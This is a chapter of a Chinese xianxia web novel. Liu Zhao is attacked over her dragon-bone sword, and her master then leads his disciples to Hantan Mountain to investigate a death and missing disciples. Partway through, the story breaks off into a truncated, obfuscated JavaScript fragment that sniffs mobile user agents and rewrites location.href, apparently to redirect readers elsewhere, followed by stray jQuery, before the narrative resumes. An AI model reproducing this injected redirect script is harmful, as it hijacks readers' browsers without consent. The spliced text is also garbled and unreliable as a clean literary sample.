柳昭露出个楚楚可怜的表情:“你们是谁?你们要做什么?”
他们脸上的鬼面跳跃一丝微弱的银白月色。
“把剑交出来。”来人刻意压低了声音。
果然是为了玄光剑而来。
柳昭皱紧了眉头,握住了身后的剑柄:“你们是灵山的师兄还是师弟?”
倘若在灵山上杀了人,肯定不容易遮掩,柳昭不由想道。
下一刻,他们持剑径自袭来,柳昭正欲拔剑,却敏锐地闻到了沈禾朗的气息。
她因而闪身避过,长剑划破了她的衣袖,她趁势摔倒在了一处石墩旁。
又是一剑刺来。
一道身影忽至,两剑相击,发出清越之音。
他手中的玄光剑轻易地折断了对方的铁剑。
果然是沈禾朗。
“师兄!”柳昭惊喜道。
二人见到沈禾朗,又见一剑已断,匆匆对视一眼,便要后撤。
“师兄,捉住他们,他们要抢玄光剑,倒要看看他们到底是谁?”柳昭起身道。
沈禾朗开口道:“二位若以真面目视人,负荆请罪,同门之谊,也可既往不咎。”
二人脚步不停,迅速朝林中退去。
柳昭急道:“师兄,为何要与他们废话,抓住他们!”
沈禾朗定睛细看二人的身法,心中已有几分猜测,似乎是东山道人的徒弟。
他因而放缓了脚步。
二人的身影越来越远,转眼已消失在了暗夜之中。
柳昭恨铁不成钢道:“师兄,为何不去追?”
沈禾朗收了剑,上下打量柳昭,除却道袍上有些泥泞,她并未真的受伤。
并且,她也未曾受惊。
正因为此缘故,他并未穷追猛打。
柳昭瞪大了眼,沈禾朗的缺点就是太过心软,过于宽宏大量,对她如此,对旁的人同样如此。
她不满道:“这样的小人若不加以惩戒,往后还会打玄光剑的主意。”
沈禾朗收剑,眉目舒展道:“师妹若真想护住玄光剑,方才的两个人绝非师妹的对手。”他看得真切,二人亦不过筑基后期,柳昭虽也是筑基后期,但实力远在二人之上,就算二人联手,也不是她的对手。
柳昭难得地被他一噎,气得笑了:“师兄好度量,我望尘莫及。”
沈禾朗徐徐道:“灵山修行讲求清修,清净修为,怨憎恶于清修无益,你既无大碍,师妹还是且放宽心。”他有心相劝,可他心中清楚,柳昭看似性子软弱,实则不然。真正的柳昭其实脾性大,绝非总是笑意盈盈,曲意讨好。
柳昭听罢,果真冷哼一声,掉头便走。
迂腐,软弱。
人不犯我我不犯人,人若犯我,必要让他长个记性。
她要是没有怨憎恶,她根本活不到今天。
然而,此事并未在灵山之上,掀起多大的风浪。
段青云听闻了此事,只当是小打小闹。东山道人究竟服不服他,他心中有数。
倘若柳昭真护不住玄光剑,那便说明玄光剑不该是她的剑。
更何况,龙骨既已认主,锻造的玄光剑亦不能轻易易主。
他眼下有比这般小打小闹更为紧要的事情。
前些时日,他下山之时便已察觉魔界有了异动。
沈从渊死后,魔界蛰伏了近百年,但这段时日,临近魔海的寒潭山,频频遭受魔界的骚扰,起初不成气候,可是数月之间,魔界愈发猖狂。
寒潭山的石金道长昨夜死了,一个早已突破金丹,临近大乘破道的道长死了。
此事非同小可。
寒潭山掌门崔羽向他求助,一同调查石金道长的死因。
段青云与崔羽相识多年,道宗之谊,义不容辞。
他原本想独自前往,可沈禾朗自请与他同往。
他拱手抱拳道:“既是凶险之行,弟子愿意追随掌门而去。”
太好了!
柳昭一听说,是临近魔海的地界,宛如正瞌睡来了枕头,立刻也随之抱拳道:“师兄说得是,既是凶险之行,弟子也愿意追随掌门而去。”
立在一侧的谭丘一听,立刻恨得有些牙痒痒。
大师兄要追随掌门也就罢了,实力摆在那里。
柳昭去凑什么热闹,不过是偶然得了一柄玄光剑,就不知道自己几斤几量了,在这里卖乖,讨好师父。
谭丘心头烦闷,可是既然柳昭说了,他也不得不说:“弟子也愿意追随掌门而去。”
陆梅一听,虽然愣了愣,却也道:“弟子也愿意追随掌门而去。”
段青云心中犹豫了片刻,此行虽有寒潭山的道人为伴,可到底凶险未卜,能够杀死石金的东西,也能够轻易杀死徒弟四人。
可是,留在灵山亦无益处。
若是实在凶险非常,他大可将他们暂时留在寒潭山中避险,尚算周全。
想罢,段青云终于颔首道:“好,你们既有心,便同我一道前往寒潭山。”
“是,师父。”
日沉于西,天空阴云密布,不见星子。
柳昭一面收拾行囊,一面在想如何让沈禾朗结丹。
诛杀魔将自然是个好办法。
魔界里的小喽喽肯定不行,可是要找像魔将吉融那一类的,也很困难。
算起来,她上一次见到魔族里有点脸面的人物,已是百年前。
魔界蛰伏了起来,魔将们各有所图,肯定不会轻易露面。
柳昭想了一阵,索性不想了。
寒潭山她还没有去过,既然离魔界地界很近,她总会想到办法的。
天边旭日初升,寒潭山大殿朝向正东,金色的橙阳遍洒青砖。
寒潭大殿中青烟袅袅,殿中供奉着一尊金身娘娘像,她的表情看上去安静祥和。
然而,掌门崔羽却已经急得焦头烂额。
昨夜,又有三个弟子失踪了。
他们一行出去了十人,回来时只剩下了七人。
那七人甚至都没有看清楚究竟是什么东西攻击了他们。
他们只记得,林中忽地起了一阵阴风,落叶团团围住了他们,等到再度看清周围的地界,已经只剩下了七人,那消失的三人仿佛凭空消失了,什么都没有留下。
崔羽实在发愁,好在他的救命稻草,段青云来了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238793|197573||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>令他颇感意外的是,不仅段青云来了,连同他的四个弟子也来了。
他的大徒弟沈禾朗,崔羽去年在灵山比试时便见过。
根骨奇佳,是个剑修奇才。
“多谢掌门相助。”崔羽与段青云短暂地寒暄过后,目光自然落到了沈禾朗身上,也落到了他所背的玄光剑上。
他先前也有所耳闻:“这就是齐误用龙骨铸的剑?”
龙骨难得,齐误铸剑更为难得。
崔羽的目光牢牢地定在了剑上。乍一看去,玄光剑似乎与寻常剑无异,可若是细观,方见剑身上龙纹若隐若现。
他看了一会儿,适才将目光移向其余三人,他见过段青云的弟子,其中仅有一人,面生得很。
她看上去年龄仿佛最小,鹅蛋脸,细长眉,一双眼睛又大又圆,脑后用青蓝发带绑了一个马尾。
崔羽料想她就是段青云最小的徒弟,他记得她好像唤作柳昭。
崔羽打量她的时候,才发现她的身后也背了一柄长剑,材质与沈禾朗的玄光剑相似,细看之下,他才惊觉剑身上亦有龙纹。唯一不同之处在于剑柄,紫蓝双色纠缠如同缠绵花蕊。
崔羽赫然一惊,脱口而出道:“那是龙骨花,对么?”
柳昭点头道:“正是。”
崔羽不禁仔细地上下打量,只是一个筑基后期,虽不晓得她如何得到龙骨与龙骨花。
但是……
他的目光在柳昭与沈禾朗之间游移了片刻,若是双剑皆为龙骨所制,相生相克,同门交好时,双剑合璧自然最妙。可……若是往后同门翻了脸,两柄玄光剑便成了废剑。
崔羽按下心头的话未说,也不打算再问起龙骨花的来历,于是朝段青云拱手道:“多谢道友相助,今夜我们便要往西侧的寒谭林而去,希望能够寻到失踪的弟子下落。”
段青云颔首,一行人先到了寒潭山的竹舍安置器物。
寒潭山是道宗大派,弟子足有千余。
得知灵山来人相助,也不免好奇。段青云自不必说,灵山掌门,单凭昔年沈从渊首徒的身份,已是无人不知,无人不晓。
年轻子弟对其仰望,但不至过于好奇。
他们最为关心的其实是沈禾朗。他是琼州沈氏的后人。沈氏是名门望族,绵延百年,族中为官者中,寻道者众,据说四百年前,沈氏便已有人修得正道,飞升成神。
而沈禾朗是这一代沈氏族中的佼佼者,年少成名,十五岁便拜在段青云门下。
不仅天资聪颖,更是勤勉,去岁在灵山比试大会拔得头筹,今岁更有宗门新秀大比,他是夺魁的热门人选,宗门对其期待甚高。
倘若沈禾朗今岁便能步入金丹,那么他比之沈从渊当年结丹时还要年轻,几乎是天下剑修第一人。
更何况,沈禾朗生得俊秀,剑眉星目,高挑俊逸,年少时便有琼州第一风流少年郎的美名。
是以,停驻竹舍旁观望的人甚多。
崔羽听到不远处年轻道人传来的叽叽喳喳的笑闹声,只觉面上实在挂不住。
寒潭山正值此生死存亡之际,哪里还有什么风花雪月,儿女情长。
道心不正,成何体统。